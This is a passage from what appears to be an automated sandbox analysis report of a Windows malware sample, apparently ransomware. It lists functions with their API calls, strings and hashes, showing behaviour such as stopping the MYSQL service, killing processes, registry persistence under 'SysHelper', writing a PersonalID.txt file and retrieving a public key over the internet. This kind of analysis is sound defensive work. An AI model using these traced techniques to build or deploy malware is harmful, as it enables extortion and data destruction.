                                                                                                                                                                                                                                                                • OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
                                                                                                                                                                                                                                                                • OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
                                                                                                                                                                                                                                                                • ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
                                                                                                                                                                                                                                                                • QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
                                                                                                                                                                                                                                                                • Sleep.KERNEL32(?), ref: 00411A75
                                                                                                                                                                                                                                                                • QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
                                                                                                                                                                                                                                                                • CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
                                                                                                                                                                                                                                                                • CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
                                                                                                                                                                                                                                                                • String ID: MYSQL
                                                                                                                                                                                                                                                                • API String ID: 2359367111-1651825290
                                                                                                                                                                                                                                                                • Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
                                                                                                                                                                                                                                                                • Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 0044F27F
                                                                                                                                                                                                                                                                  • Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0044F294
                                                                                                                                                                                                                                                                  • Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 0044F2AD
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0044F2C2
                                                                                                                                                                                                                                                                • std::regex_error::regex_error.LIBCPMT ref: 0044F2D4
                                                                                                                                                                                                                                                                  • Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0044F2E2
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 0044F2FB
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 0044F310
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
                                                                                                                                                                                                                                                                • String ID: bad function call
                                                                                                                                                                                                                                                                • API String ID: 2464034642-3612616537
                                                                                                                                                                                                                                                                • Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
                                                                                                                                                                                                                                                                • Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
                                                                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
                                                                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
                                                                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,00000000), ref: 00465503
                                                                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
                                                                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
                                                                                                                                                                                                                                                                • GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ByteCharMultiWide$ErrorLast
                                                                                                                                                                                                                                                                • String ID: ','$.\crypto\bio\bss_file.c$fopen('
                                                                                                                                                                                                                                                                • API String ID: 1717984340-2085858615
                                                                                                                                                                                                                                                                • Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
                                                                                                                                                                                                                                                                • Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 790675137-0
                                                                                                                                                                                                                                                                • Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
                                                                                                                                                                                                                                                                • Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                  • Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8
                                                                                                                                                                                                                                                                • _fgetws.LIBCMT ref: 0040C7BC
                                                                                                                                                                                                                                                                • _memmove.LIBCMT ref: 0040C89F
                                                                                                                                                                                                                                                                • CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateDirectory__wfsopen_fgetws_memmove
                                                                                                                                                                                                                                                                • String ID: C:\SystemID$C:\SystemID\PersonalID.txt
                                                                                                                                                                                                                                                                • API String ID: 2864494435-54166481
                                                                                                                                                                                                                                                                • Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
                                                                                                                                                                                                                                                                • Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
                                                                                                                                                                                                                                                                • Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
                                                                                                                                                                                                                                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
                                                                                                                                                                                                                                                                • TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
                                                                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 004124B7
                                                                                                                                                                                                                                                                • Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
                                                                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 004124CD
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
                                                                                                                                                                                                                                                                • String ID: cmd.exe
                                                                                                                                                                                                                                                                • API String ID: 2696918072-723907552
                                                                                                                                                                                                                                                                • Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
                                                                                                                                                                                                                                                                • Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
                                                                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                                                                                • String ID: SHGetFolderPathW$Shell32.dll$\
                                                                                                                                                                                                                                                                • API String ID: 2574300362-2555811374
                                                                                                                                                                                                                                                                • Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
                                                                                                                                                                                                                                                                • Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _malloc$__except_handler4_fprintf
                                                                                                                                                                                                                                                                • String ID: &#160;$Error encrypting message: %s$\\n
                                                                                                                                                                                                                                                                • API String ID: 1783060780-3771355929
                                                                                                                                                                                                                                                                • Opcode ID: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
                                                                                                                                                                                                                                                                • Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _strncmp
                                                                                                                                                                                                                                                                • String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
                                                                                                                                                                                                                                                                • API String ID: 909875538-2908105608
                                                                                                                                                                                                                                                                • Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
                                                                                                                                                                                                                                                                • Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
                                                                                                                                                                                                                                                                • RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
                                                                                                                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 0040C700
                                                                                                                                                                                                                                                                • RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
                                                                                                                                                                                                                                                                • RegCloseKey.ADVAPI32(00000000), ref: 0040C72E
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CloseValue$OpenQuery
                                                                                                                                                                                                                                                                • String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
                                                                                                                                                                                                                                                                • API String ID: 3962714758-1667468722
                                                                                                                                                                                                                                                                • Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
                                                                                                                                                                                                                                                                • Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0041E707
                                                                                                                                                                                                                                                                  • Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
                                                                                                                                                                                                                                                                • InternetOpenW.WININET ref: 0041E743
                                                                                                                                                                                                                                                                • _wcsstr.LIBCMT ref: 0041E7AE
                                                                                                                                                                                                                                                                • _memmove.LIBCMT ref: 0041E838
                                                                                                                                                                                                                                                                • lstrcpyW.KERNEL32(?,?), ref: 0041E90A
                                                                                                                                                                                                                                                                • lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
                                                                                                                                                                                                                                                                • InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
                                                                                                                                                                                                                                                                • InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
                                                                                                                                                                                                                                                                • SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
                                                                                                                                                                                                                                                                • PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
                                                                                                                                                                                                                                                                • lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
                                                                                                                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 0041E9F3
                                                                                                                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 0041E9F6
                                                                                                                                                                                                                                                                • _strstr.LIBCMT ref: 0041EA36
                                                                                                                                                                                                                                                                • SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
                                                                                                                                                                                                                                                                • PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
                                                                                                                                                                                                                                                                • DeleteFileA.KERNEL32(?), ref: 0041EA82
                                                                                                                                                                                                                                                                • lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
                                                                                                                                                                                                                                                                • lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
                                                                                                                                                                                                                                                                • lstrcpyA.KERNEL32(?,?), ref: 0041EABA
                                                                                                                                                                                                                                                                • lstrlenA.KERNEL32(?), ref: 0041EAC8
                                                                                                                                                                                                                                                                • lstrlenA.KERNEL32(00000022), ref: 0041EAE3
                                                                                                                                                                                                                                                                • lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
                                                                                                                                                                                                                                                                • lstrlenA.KERNEL32(?), ref: 0041EB7C
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0041EB86
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 0041EB94
                                                                                                                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
                                                                                                                                                                                                                                                                • lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
                                                                                                                                                                                                                                                                • _strstr.LIBCMT ref: 0041EBDA
                                                                                                                                                                                                                                                                • SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
                                                                                                                                                                                                                                                                • PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
                                                                                                                                                                                                                                                                • DeleteFileA.KERNEL32(?), ref: 0041EC32
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
                                                                                                                                                                                                                                                                • String ID: bowsakkdestx.txt${"public_key":"
                                                                                                                                                                                                                                                                • API String ID: 2805819797-1771568745
                                                                                                                                                                                                                                                                • Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
                                                                                                                                                                                                                                                                • Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __aulldvrm
                                                                                                                                                                                                                                                                • String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
                                                                                                                                                                                                                                                                • API String ID: 1302938615-3129329331
